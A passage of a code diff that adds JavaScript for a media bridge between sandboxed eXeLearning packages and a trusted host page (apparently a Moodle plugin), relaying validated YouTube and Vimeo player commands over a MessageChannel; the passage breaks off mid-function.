+ * (`event.source === window.parent`) + the echoed handshake id. All subsequent media
+ * traffic flows over the private MessageChannel port, validated by exe_media_policy.
+ *
+ * Depends on the global `exeMediaPolicy` (exe_media_policy.js), which must load first.
+ *
+ * @license AGPL-3.0
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+
+    var DEFAULT_TIMEOUT_MS = 8000;
+
+    function trc(key, fallback) {
+        // Exported content reads resolved strings from the $exe_i18n bundle (built from
+        // the c_("...") keys in common_i18n.js); fall back to English when absent.
+        var i18n = typeof root.$exe_i18n !== 'undefined' ? root.$exe_i18n : null;
+        return (i18n && i18n[key]) || fallback;
+    }
+
+    function providerName(provider) {
+        if (provider === 'youtube') return 'YouTube';
+        if (provider === 'vimeo') return 'Vimeo';
+        if (provider === 'pdf') return 'PDF';
+        return provider || '';
+    }
+
+    function getScheduler(opts) {
+        opts = opts || {};
+        return {
+            setTimeout: opts.setTimeout || root.setTimeout.bind(root),
+            clearTimeout: opts.clearTimeout || root.clearTimeout.bind(root),
+        };
+    }
+
+    function genId(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'h-' + Math.random().toString(36).slice(2) + '-' + (root.performance ? root.performance.now() : 0);
+    }
+
+    /**
+     * Detect an opaque-origin sandboxed iframe: either the origin is the literal
+     * string "null", or web storage access throws (the browser blocks storage for an
+     * opaque/partitioned origin). Mirrors the detection used by the SCORM bridge shim.
+     */
+    function isSandboxedOpaque(win) {
+        win = win || root;
+        try {
+            if (win.origin === 'null') return true;
+        } catch (e) {
+            return true;
+        }
+        try {
+            var ls = win.localStorage;
+            var k = '__exeMediaProbe__';
+            ls.setItem(k, '1');
+            ls.removeItem(k);
+            return false;
+        } catch (e) {
+            return true;
+        }
+    }
+
+    function inIframe(win) {
+        win = win || root;
+        try {
+            return win.self !== win.top;
+        } catch (e) {
+            return true; // cross-origin parent access throws → we are framed
+        }
+    }
+
+    function shouldUseBridge(win) {
+        win = win || root;
+        return inIframe(win) && isSandboxedOpaque(win);
+    }
+
+    /**
+     * Provider-neutral controller bound to a MessageChannel port + nonce. Serializes
+     * neutral commands to validated messages and fans inbound events out to listeners.
+     * getCurrentTime/getDuration are async (they round-trip the port).
+     */
+    function createBridgeController(opts) {
+        var port = opts.port;
+        var nonce = opts.nonce;
+        var listeners = {};
+        var pending = {};
+        var reqSeq = 0;
+
+        function emit(evt, payload) {
+            var arr = listeners[evt];
+            if (!arr) return;
+            for (var i = 0; i < arr.length; i++) {
+                try {
+                    arr[i](payload);
+                } catch (e) {
+                    /* a listener must not break the relay */
+                }
+            }
+        }
+
+        function send(cmd) {
+            cmd.type = policy.TYPE;
+            cmd.v = policy.VERSION;
+            cmd.exelearningBridge = nonce;
+            if (policy.validateCommand(cmd, nonce) && port) {
+                port.postMessage(cmd);
+            }
+        }
+
+        function request(action, field) {
+            var reqId = ++reqSeq;
+            return new Promise(function (resolve) {
+                pending[reqId] = { resolve: resolve, field: field };
+                send({ action: action, reqId: reqId });
+            });
+        }
+
+        var ctl = {
+            on: function (evt, cb) {
+                (listeners[evt] = listeners[evt] || []).push(cb);
+                return ctl;
+            },
+            off: function (evt, cb) {
+                var a = listeners[evt];
+                if (a) {
+                    var i = a.indexOf(cb);
+                    if (i >= 0) a.splice(i, 1);
+                }
+                return ctl;
+            },
+            open: function (o) {
+                send({
+                    action: 'open',
+                    reqId: ++reqSeq,
+                    provider: o.provider,
+                    videoId: o.videoId,
+                    start: o.start,
+                    autoplay: o.autoplay,
+                });
+            },
+            play: function () {
+                send({ action: 'play' });
+            },
+            pause: function () {
+                send({ action: 'pause' });
+            },
+            seek: function (t) {
+                send({ action: 'seek', t: t });
+            },
+            hide: function () {
+                send({ action: 'hide' });
+            },
+            show: function () {
+                send({ action: 'show' });
+            },
+            close: function () {
+                send({ action: 'close' });
+            },
+            getCurrentTime: function () {
+                return request('getCurrentTime', 'currentTime');
+            },
+            getDuration: function () {
+                return request('getDuration', 'duration');
+            },
+            handleEvent: function (data) {
+                if (!policy.validateEvent(data)) return;
+                if (data.action === 'state') {
+                    var r = pending[data.reqId];
+                    if (r) {
+                        delete pending[data.reqId];
+                        r.resolve(r.field === 'duration' ? data.duration : data.currentTime);
+                    }
+                    return;
+                }
+                emit(data.action, data);
+            },
+        };
+
+        if (port) {
+            port.onmessage = function (e) {
+                ctl.handleEvent(e.data);
+            };
+            if (typeof port.start === 'function') port.start();
+        }
+        return ctl;
+    }
+
+    // One shared handshake per page: many embeds, one parent bridge.
+    var sessionPromise = null;
+
+    /**
+     * Announce to the parent and wait for a `welcome` carrying a transferred port.
+     * Resolves { nonce, port } on success, or null if no parent answers within the
+     * watchdog (→ graceful degradation). Shared/cached across all callers on the page.
+     */
+    function ensureSession(opts) {
+        opts = opts || {};
+        if (sessionPromise && !opts.fresh) return sessionPromise;
+        var win = opts.win || root;
+        var sched = getScheduler(opts);
+
+        sessionPromise = new Promise(function (resolve) {
+            var parent = null;
+            try {
+                parent = win.parent;
+            } catch (e) {
+                parent = null;
+            }
+            if (!parent || parent === win) {
+                resolve(null);
+                return;
+            }
+
+            var helloId = genId(opts);
+            var settled = false;
+            var timer;
+
+            function cleanup() {
+                if (win.removeEventListener) win.removeEventListener('message', onMessage);
+                if (timer) sched.clearTimeout(timer);
+            }
+            function finish(value) {
+                if (settled) return;
+                settled = true;
+                cleanup();
+                resolve(value);
+            }
+            function onMessage(e) {
+                if (settled) return;
+                if (e.source !== parent) return; // window identity — the only trust anchor here
+                var data = e.data;
+                if (!policy.isWelcome(data) || data.helloId !== helloId) return;
+                var port = (e.ports && e.ports[0]) || null;
+                if (!port) return;
+                finish({ nonce: data.exelearningBridge, port: port });
+            }
+
+            if (win.addEventListener) win.addEventListener('message', onMessage);
+            try {
+                parent.postMessage(
+                    { type: policy.TYPE, v: policy.VERSION, action: 'hello', helloId: helloId, exelearningBridge: null },
+                    '*',
+                );
+            } catch (e) {
+                /* posting to an unreachable parent → watchdog handles it */
+            }
+            timer = sched.setTimeout(function () {
+                finish(null);
+            }, opts.timeoutMs || DEFAULT_TIMEOUT_MS);
+        });
+        return sessionPromise;
+    }
+
+    /**
+     * High-level entry for the video iDevices: ensure the bridge, ask the parent to
+     * open the player, and resolve a BridgeController once the player reports `ready`.
+     * Rejects when there is no parent bridge (→ caller shows its fallback).
+     */
+    function openMedia(opts) {
+        opts = opts || {};
+        var sched = getScheduler(opts);
+        return ensureSession(opts).then(function (session) {
+            if (!session) {
+                return Promise.reject(new Error('no-bridge'));
+            }
+            var ctl = createBridgeController({ port: session.port, nonce: session.nonce });
+            return new Promise(function (resolve, reject) {
+                var done = false;
+                var timer = sched.setTimeout(function () {
+                    if (!done) {
+                        done = true;
+                        reject(new Error('ready-timeout'));
+                    }
+                }, opts.readyTimeoutMs || DEFAULT_TIMEOUT_MS);
+                ctl.on('ready', function () {
+                    if (done) return;
+                    done = true;
+                    sched.clearTimeout(timer);
+                    resolve(ctl);
+                });
+                ctl.on('error', function (e) {
+                    if (done || !e || !e.fatal) return;
+                    done = true;
+                    sched.clearTimeout(timer);
+                    reject(new Error(e.code || 'error'));
+                });
+                ctl.open({ provider: opts.provider, videoId: opts.videoId, start: opts.start, autoplay: opts.autoplay });
+            });
+        });
+    }
+
+    /**
+     * Build an accessible placeholder for an external media descriptor. In normal
+     * (bridge) mode it is a play button that asks the parent to open the modal; in
+     * degraded mode (or for PDF) it is an "open in a new tab" link.
+     */
+    function buildPlaceholder(descriptor, opts) {
+        opts = opts || {};
+        var doc = opts.document || root.document;
+        var degraded = opts.degraded || !descriptor.requiresBridge;
+        var title = descriptor.title || '';
+        var label = providerName(descriptor.provider);
+
+        // Self-contained inline styles so the placeholder presents reasonably inside any
+        // exported theme (mirrors the existing showYoutubeFallback approach in iDevices).
+        var wrap = doc.createElement('div');
+        wrap.className = 'exe-external-media' + (degraded ? ' exe-external-media--degraded' : '');
+        wrap.setAttribute('data-exe-media-provider', descriptor.provider);
+        if (descriptor.providerVideoId) wrap.setAttribute('data-exe-media-id', descriptor.providerVideoId);
+        wrap.setAttribute('data-exe-media-url', descriptor.originalUrl || descriptor.embedUrl || '');
+        if (descriptor.interactive) wrap.setAttribute('data-exe-media-interactive', 'true');
+        wrap.setAttribute(
+            'style',
+            'display:flex;flex-direction:column;align-items:center;justify-content:center;gap:12px;' +
+                'min-height:180px;padding:24px;text-align:center;border:1px solid #ccc;border-radius:8px;' +
+                'background:#f5f5f5;',
+        );
+
+        var caption = doc.createElement('span');
+        caption.className = 'exe-external-media__label';
+        caption.textContent = label + (title ? ' — ' + title : '');
+        wrap.appendChild(caption);
+
+        var openStyle =
+            'display:inline-block;padding:10px 24px;border-radius:6px;border:none;cursor:pointer;' +
+            'background:#0b5fff;color:#fff;font-size:1rem;text-decoration:none;';
+
+        if (degraded) {
+            var a = doc.createElement('a');
+            a.className = 'exe-external-media__open';
+            a.setAttribute('href', descriptor.originalUrl || descriptor.embedUrl || '#');
+            a.setAttribute('target', '_blank');
+            a.setAttribute('rel', 'noopener noreferrer');
+            a.setAttribute('style', openStyle);
+            a.textContent = trc('exeMediaOpenNewTab', 'Open in a new tab');
+            a.setAttribute('aria-label', (title ? title + ' — ' : '') + label + ' — ' + trc('exeMediaOpenNewTab', 'Open in a new tab'));
+            wrap.appendChild(a);
+        } else {
+            var btn = doc.createElement('button');
+            btn.className = 'exe-external-media__open';
+            btn.setAttribute('type', 'button');
+            btn.setAttribute('style', openStyle);
+            btn.textContent = trc('exeMediaPlay', 'Play video');
+            btn.setAttribute('aria-label', (title ? title + ' — ' : '') + label + ' — ' + trc('exeMediaPlay', 'Play video'));
+            wrap.appendChild(btn);
+        }
+        return wrap;
+    }
+
+    /**
+     * Replace nested external embeds in `rootEl` with placeholders.
+     *
+     * - Opaque/sandboxed mode: every recognized embed (unless the author opted out with
+     *   `data-exe-media-floating="false"`) becomes a placeholder that asks the trusted
+     *   parent to open the player (or degrades to open-in-new-tab when no parent answers).
+     * - Normal (non-sandboxed) mode: only embeds the author marked
+     *   `data-exe-media-floating="true"` become placeholders, and they open in a
+     *   self-contained floating lightbox within the export document.
+     *
+     * Returns a promise resolving to the created placeholders (for tests).
+     */
+    function scanAndReplace(rootEl, opts) {
+        opts = opts || {};
+        var doc = (rootEl && rootEl.ownerDocument) || root.document;
+        var win = opts.win || root;
+        var bridgeMode = shouldUseBridge(win);
+        var nodes = rootEl && rootEl.querySelectorAll ? rootEl.querySelectorAll('iframe[src]') : [];
+        var found = [];
+        for (var i = 0; i < nodes.length; i++) {
+            var floating = nodes[i].getAttribute && nodes[i].getAttribute('data-exe-media-floating');
+            // Normal rendering only swaps embeds the author opted into floating; everything
+            // else plays inline (referrerpolicy makes that work). Opaque mode protects EVERY
+            // recognized embed — inline can't run there, so the checkbox does not apply.
+            if (!bridgeMode && floating !== 'true') continue;
+            var d = policy.parseExternalMedia(nodes[i]);
+            if (d) found.push({ node: nodes[i], descriptor: d });
+        }
+        if (!found.length) return Promise.resolve([]);
+
+        if (!bridgeMode) {
+            // Self-contained floating playback (lightbox) in the export document.
+            var lightboxPlaceholders = [];
+            for (var k = 0; k < found.length; k++) {
+                var fit = found[k];
+                var lph = buildPlaceholder(fit.descriptor, {
+                    document: doc,
+                    degraded: !fit.descriptor.requiresBridge,
+                });
+                if (fit.descriptor.requiresBridge) wireLightbox(lph, fit.descriptor, opts);
+                if (fit.node.parentNode) fit.node.parentNode.replaceChild(lph, fit.node);
+                lightboxPlaceholders.push(lph);
+            }
+            return Promise.resolve(lightboxPlaceholders);
+        }
+
+        return ensureSession(opts).then(function (session) {
+            var degraded = !session;
+            var placeholders = [];
+            for (var j = 0; j < found.length; j++) {
+                var item = found[j];
+                var ph = buildPlaceholder(item.descriptor, { document: doc, degraded: degraded });
+                if (!degraded && item.descriptor.requiresBridge) {
+                    wireOpen(ph, item.descriptor, opts);
+                }
+                if (item.node.parentNode) item.node.parentNode.replaceChild(ph, item.node);
+                placeholders.push(ph);
+            }
+            return placeholders;
+        });
+    }
+
+    /**
+     * Open a provider video in a self-contained, accessible floating lightbox within the
+     * current document. Used in normal (non-sandboxed) rendering where the document has a
+     * real origin and the provider iframe works directly. Returns { overlay, close }.
+     */
+    function openLightbox(descriptor, opts) {
+        opts = opts || {};
+        var doc = opts.document || root.document;
+        var labelText = descriptor.title || providerName(descriptor.provider);
+
+        var overlay = doc.createElement('div');
+        overlay.className = 'exe-media-lightbox';
+        overlay.setAttribute('role', 'dialog');
+        overlay.setAttribute('aria-modal', 'true');
+        overlay.setAttribute('aria-label', labelText);
+        overlay.setAttribute(
+            'style',
+            'position:fixed;inset:0;z-index:99999;display:flex;align-items:center;justify-content:center;' +
+                'background:rgba(0,0,0,0.85);',
+        );
+
+        var frame = doc.createElement('div');
+        frame.setAttribute(
+            'style',
+            'position:relative;width:min(90vw,960px);max-height:90vh;aspect-ratio:16/9;background:#000;',
+        );
+
+        var sep = descriptor.embedUrl && descriptor.embedUrl.indexOf('?') >= 0 ? '&' : '?';
+        var iframe = doc.createElement('iframe');
+        iframe.setAttribute('src', (descriptor.embedUrl || '') + sep + 'autoplay=1');
+        iframe.setAttribute('title', labelText);
+        iframe.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        iframe.setAttribute('allowfullscreen', 'allowfullscreen');
+        // Needed so YouTube/Vimeo identify the page (avoids "Error 153").
+        iframe.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        iframe.setAttribute('style', 'position:absolute;inset:0;width:100%;height:100%;border:0;');
+
+        var close = doc.createElement('button');
+        close.type = 'button';
+        close.className = 'exe-media-lightbox__close';
+        close.setAttribute('aria-label', trc('exeMediaClose', 'Close'));
+        close.textContent = '×';
+        close.setAttribute(
+            'style',
+            'position:absolute;top:-40px;right:0;width:36px;height:36px;background:transparent;border:none;' +
+                'color:#fff;font-size:30px;line-height:1;cursor:pointer;',
+        );
+
+        function destroy() {
+            if (doc.removeEventListener) doc.removeEventListener('keydown', onKey, true);
+            if (overlay.parentNode) overlay.parentNode.removeChild(overlay);
+            if (opts.returnFocus && typeof opts.returnFocus.focus === 'function') {
+                try {
+                    opts.returnFocus.focus();
+                } catch (e) {
+                    /* ignore */
+                }
+            }
+        }
+        function onKey(e) {
+            if (e.key === 'Escape' || e.keyCode === 27) destroy();
+        }
+
+        close.addEventListener('click', destroy);
+        overlay.addEventListener('click', function (e) {
+            if (e.target === overlay) destroy();
+        });
+        if (doc.addEventListener) doc.addEventListener('keydown', onKey, true);
+
+        frame.appendChild(iframe);
+        frame.appendChild(close);
+        overlay.appendChild(frame);
+        (doc.body || doc.documentElement).appendChild(overlay);
+        if (typeof close.focus === 'function') {
+            try {
+                close.focus();
+            } catch (e) {
+                /* ignore */
+            }
+        }
+        return { overlay: overlay, close: destroy };
+    }
+
+    function wireLightbox(placeholder, descriptor, opts) {
+        var btn = placeholder.querySelector('.exe-external-media__open');
+        if (!btn) return;
+        btn.addEventListener('click', function () {
+            openLightbox(descriptor, {
+                document: placeholder.ownerDocument || (opts && opts.document) || root.document,
+                returnFocus: btn,
+            });
+        });
+    }
+
+    function wireOpen(placeholder, descriptor, opts) {
+        var btn = placeholder.querySelector('.exe-external-media__open');
+        if (!btn) return;
+        btn.addEventListener('click', function () {
+            openMedia({
+                provider: descriptor.provider,
+                videoId: descriptor.providerVideoId,
+                win: opts && opts.win,
+                timeoutMs: opts && opts.timeoutMs,
+                readyTimeoutMs: opts && opts.readyTimeoutMs,
+                genId: opts && opts.genId,
+            }).catch(function () {
+                // Lost the bridge after handshake → swap to the degraded fallback.
+                var doc = placeholder.ownerDocument || root.document;
+                var fallback = buildPlaceholder(descriptor, { document: doc, degraded: true });
+                if (placeholder.parentNode) placeholder.parentNode.replaceChild(fallback, placeholder);
+            });
+        });
+    }
+
+    function resetForTests() {
+        sessionPromise = null;
+    }
+
+    /**
+     * Auto-activate on every exported page. In opaque/sandboxed mode it protects every
+     * recognized embed; in normal rendering it only swaps embeds the author marked
+     * `data-exe-media-floating="true"` for a click-to-open lightbox, so existing content
+     * (and local/file:// / Electron use) is unaffected.
+     */
+    function autoInit(win, doc) {
+        win = win || root;
+        if (!doc) return false;
+        var run = function () {
+            scanAndReplace(doc.body || doc.documentElement, { win: win });
+        };
+        if (doc.readyState === 'loading' && doc.addEventListener) {
+            doc.addEventListener('DOMContentLoaded', run);
+        } else {
+            run();
+        }
+        return true;
+    }
+
+    var api = {
+        isSandboxedOpaque: isSandboxedOpaque,
+        inIframe: inIframe,
+        shouldUseBridge: shouldUseBridge,
+        createBridgeController: createBridgeController,
+        ensureSession: ensureSession,
+        openMedia: openMedia,
+        openLightbox: openLightbox,
+        buildPlaceholder: buildPlaceholder,
+        scanAndReplace: scanAndReplace,
+        autoInit: autoInit,
+        _resetForTests: resetForTests,
+    };
+
+    root.exeMediaBridge = api;
+
+    autoInit(root, typeof document !== 'undefined' ? document : null);
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/exe_media_host.js b/tests/e2e/embed/exe_media_host.js
new file mode 100644
index 0000000..734fc29
--- /dev/null
+++ b/tests/e2e/embed/exe_media_host.js
@@ -0,0 +1,524 @@
+/**
+ * exe-media-host — reference PARENT-side relay for the eXeLearning external-media bridge.
+ *
+ * Host plugins (Moodle, WordPress, Procomún, …) include this one file on the trusted page
+ * that embeds an eXeLearning package inside an opaque-origin sandboxed iframe. It lets the
+ * package's YouTube/Vimeo videos play (which they cannot do inside the opaque frame) by:
+ *
+ *   - completing the capability handshake announced by the child runtime (window identity
+ *     + per-view nonce + a transferred MessageChannel port),
+ *   - opening an accessible <dialog> with the real provider player on the trusted side, and
+ *   - relaying a tiny, validated set of media commands/events over the private port.
+ *
+ * Security: the relay NEVER trusts `event.origin` (it is the string "null"). The only
+ * window-level message accepted is the child's `welcome`-triggering `hello`, gated by
+ * `event.source === iframe.contentWindow`. Steady-state media traffic flows only over the
+ * private port. The child sends just `{provider, videoId}`; the relay reconstructs the
+ * canonical URL from a fixed per-provider template (never a child-supplied URL).
+ *
+ * Classic browser script (no ES module syntax); depends on the shared `exeMediaPolicy`.
+ *
+ * mod_exelearning VARIANT (DEC-0067): vendored from eXeLearning's exe-media-host.js, but the
+ * provider adapters drive the player by RAW postMessage (YouTube enablejsapi=1, Vimeo api=1)
+ * instead of the YouTube IFrame Player API / Vimeo Player SDK, so the trusted Moodle page
+ * never loads third-party player script (erseco). The handshake, accessible modal and the
+ * command/event relay are otherwise unchanged. The child runtime (exe_media_bridge.js +
+ * exe_media_policy.js, baked into the package by eXeLearning) is unmodified; the interactive
+ * video iDevice already speaks this contract (window.exeMediaBridge.openMedia → controller).
+ * Canonical upstream: exelearning/public/app/common/exe_media_bridge/.
+ *
+ * @license AGPL-3.0
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+    var TYPE = policy.TYPE;
+    var VERSION = policy.VERSION;
+
+    function tr(key) {
+        return typeof root._ === 'function' ? root._(key) : key;
+    }
+
+    function isThenable(v) {
+        return v && typeof v.then === 'function';
+    }
+
+    function genNonce(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'n-' + Math.random().toString(36).slice(2);
+    }
+
+    function makeChannel(opts) {
+        if (opts && typeof opts.channelFactory === 'function') return opts.channelFactory();
+        return new MessageChannel();
+    }
+
+    function getInterval(opts) {
+        return {
+            set: (opts && opts.setInterval) || (root.setInterval ? root.setInterval.bind(root) : function () {}),
+            clear: (opts && opts.clearInterval) || (root.clearInterval ? root.clearInterval.bind(root) : function () {}),
+        };
+    }
+
+    // ---- Raw-postMessage provider adapters (NO YouTube IFrame API / Vimeo SDK) ----------
+    // mod_exelearning controls the promoted player by posting the providers' documented
+    // postMessage commands straight to the player iframe and parsing its event messages, so
+    // the trusted Moodle page never loads third-party player SDK script (erseco, DEC-0067).
+    // Both providers use JSON-STRING messages. The host polls getCurrentTime()/getDuration()
+    // every 250ms to emit timeupdate; these adapters keep those values fresh from the
+    // player's pushed infoDelivery (YouTube) / timeupdate (Vimeo) events. Adapters are still
+    // injectable (opts.youtubeFactory / opts.vimeoFactory) for tests.
+
+    function num(v) {
+        return typeof v === 'number' && isFinite(v) ? v : undefined;
+    }
+
+    function parentOrigin() {
+        try {
+            return (root.location && root.location.origin) || '';
+        } catch (e) {
+            return '';
+        }
+    }
+
+    // Pure command builders (exposed for unit tests). Closed action set; null otherwise.
+    function ytCommand(action, value) {
+        switch (action) {
+            case 'play': return { event: 'command', func: 'playVideo', args: [] };
+            case 'pause': return { event: 'command', func: 'pauseVideo', args: [] };
+            case 'seek': return { event: 'command', func: 'seekTo', args: [Number(value) || 0, true] };
+            case 'listen': return { event: 'listening' };
+            default: return null;
+        }
+    }
+    function vimeoCommand(action, value) {
+        switch (action) {
+            case 'play': return { method: 'play' };
+            case 'pause': return { method: 'pause' };
+            case 'seek': return { method: 'setCurrentTime', value: Number(value) || 0 };
+            default: return null;
+        }
+    }
+
+    // Pure inbound-event parsers (exposed for unit tests). Both providers post JSON strings.
+    function parseRaw(raw) {
+        if (typeof raw === 'string') {
+            try { return JSON.parse(raw); } catch (e) { return null; }
+        }
+        return raw && typeof raw === 'object' ? raw : null;
+    }
+    function parseYtEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'onReady') return { kind: 'ready' };
+        if (d.event === 'onError') return { kind: 'error', code: String(d.info != null ? d.info : '') };
+        if (d.event === 'infoDelivery' && d.info && typeof d.info === 'object') {
+            return { kind: 'info', currentTime: num(d.info.currentTime), duration: num(d.info.duration), playerState: num(d.info.playerState) };
+        }
+        if (d.event === 'onStateChange') {
+            return { kind: 'state', playerState: num(typeof d.info === 'object' && d.info ? d.info.playerState : d.info) };
+        }
+        return null;
+    }
+    function parseVimeoEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'ready') return { kind: 'ready' };
+        if (d.event === 'timeupdate' && d.data) return { kind: 'timeupdate', currentTime: num(d.data.seconds), duration: num(d.data.duration) };
+        if (d.event === 'play') return { kind: 'play' };
+        if (d.event === 'pause') return { kind: 'pause' };
+        if (d.event === 'ended' || d.event === 'finish') return { kind: 'ended' };
+        if (d.event === 'error') return { kind: 'error', code: 'vimeo_error' };
+        return null;
+    }
+
+    function youtubeRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var origin = parentOrigin();
+        var target = 'https://www.youtube-nocookie.com';
+        var src = target + '/embed/' + videoId + '?enablejsapi=1&rel=0&modestbranding=1' +
+            (origin ? '&origin=' + encodeURIComponent(origin) : '') +
+            (cb.start ? '&start=' + Math.floor(cb.start) : '') +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseYtEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'info') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+                signalState(ev.playerState);
+            } else if (ev.kind === 'state') {
+                signalState(ev.playerState);
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        function signalState(s) {
+            if (s === 1 && cb.onPlay) cb.onPlay();
+            else if (s === 2 && cb.onPause) cb.onPause();
+            else if (s === 0 && cb.onEnded) cb.onEnded();
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        frame.addEventListener('load', function () { post(ytCommand('listen')); });
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(ytCommand('play')); },
+            pause: function () { post(ytCommand('pause')); },
+            seek: function (t) { post(ytCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    function vimeoRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var target = 'https://player.vimeo.com';
+        var pid = 'exe-vimeo-' + videoId;
+        var src = target + '/video/' + videoId + '?api=1&player_id=' + encodeURIComponent(pid) +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('id', pid);
+        frame.setAttribute('allow', 'autoplay; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function subscribe() {
+            ['timeupdate', 'play', 'pause', 'ended', 'error'].forEach(function (name) {
+                post({ method: 'addEventListener', value: name });
+            });
+            if (cb.start) post(vimeoCommand('seek', cb.start));
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseVimeoEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                subscribe();
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'timeupdate') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+            } else if (ev.kind === 'play' && cb.onPlay) {
+                cb.onPlay();
+            } else if (ev.kind === 'pause' && cb.onPause) {
+                cb.onPause();
+            } else if (ev.kind === 'ended' && cb.onEnded) {
+                cb.onEnded();
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(vimeoCommand('play')); },
+            pause: function () { post(vimeoCommand('pause')); },
+            seek: function (t) { post(vimeoCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    // ---- Accessible modal -------------------------------------------------------------
+
+    function buildModal(session) {
+        var opts = session.opts || {};
+        var doc = opts.document || root.document;
+        var dialog = doc.createElement('dialog');
+        dialog.className = 'exe-media-modal';
+        dialog.setAttribute('aria-label', tr('Video player'));
+        try {
+            dialog.setAttribute('closedby', 'any'); // light-dismiss where supported
+        } catch (e) {
+            /* older engines */
+        }
+
+        var closeBtn = doc.createElement('button');
+        closeBtn.setAttribute('type', 'button');
+        closeBtn.className = 'exe-media-modal__close';
+        closeBtn.setAttribute('aria-label', tr('Close video'));
+        closeBtn.textContent = tr('Close');
+        closeBtn.addEventListener('click', function () {
+            requestClose(session);
+        });
+
+        var body = doc.createElement('div');
+        body.className = 'exe-media-modal__body';
+
+        dialog.appendChild(closeBtn);
+        dialog.appendChild(body);
+
+        // Safari light-dismiss fallback: a click whose target is the dialog itself is the backdrop.
+        dialog.addEventListener('click', function (e) {
+            if (e.target === dialog) requestClose(session);
+        });
+        // Esc / platform close request.
+        dialog.addEventListener('close', function () {
+            if (session.hiding) {
+                session.hiding = false;
+                return;
+            }
+            requestClose(session);
+        });
+
+        (doc.body || doc.documentElement).appendChild(dialog);
+        if (typeof dialog.showModal === 'function') dialog.showModal();
+
+        session.dialog = dialog;
+        return body;
+    }
+
+    function showModal(session) {
+        if (session.dialog && typeof session.dialog.showModal === 'function') session.dialog.showModal();
+    }
+
+    function hideModal(session) {
+        if (session.dialog && typeof session.dialog.close === 'function') {
+            session.hiding = true;
+            session.dialog.close();
+        }
+    }
+
+    function requestClose(session) {
+        if (session.closed) return;
+        session.closed = true;
+        sendEvent(session, { action: 'closed' });
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.close === 'function') session.dialog.close();
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+        }
+    }
+
+    function destroyAdapter(session) {
+        if (session.pollTimer != null) {
+            session.interval.clear(session.pollTimer);
+            session.pollTimer = null;
+        }
+        if (session.adapter && session.adapter.destroy) session.adapter.destroy();
+        session.adapter = null;
+    }
+
+    // ---- Media event relay ------------------------------------------------------------
+
+    function sendEvent(session, ev) {
+        ev.type = TYPE;
+        ev.v = VERSION;
+        if (session.port1) session.port1.postMessage(ev);
+    }
+
+    function emitTimeupdate(session, ct, dur) {
+        if (typeof ct === 'number' && isFinite(ct) && typeof dur === 'number' && isFinite(dur)) {
+            sendEvent(session, { action: 'timeupdate', currentTime: ct, duration: dur });
+        }
+    }
+
+    function startPolling(session) {
+        if (session.pollTimer != null) return;
+        session.pollTimer = session.interval.set(function () {
+            if (!session.adapter) return;
+            var ct = session.adapter.getCurrentTime();
+            var dur = session.adapter.getDuration();
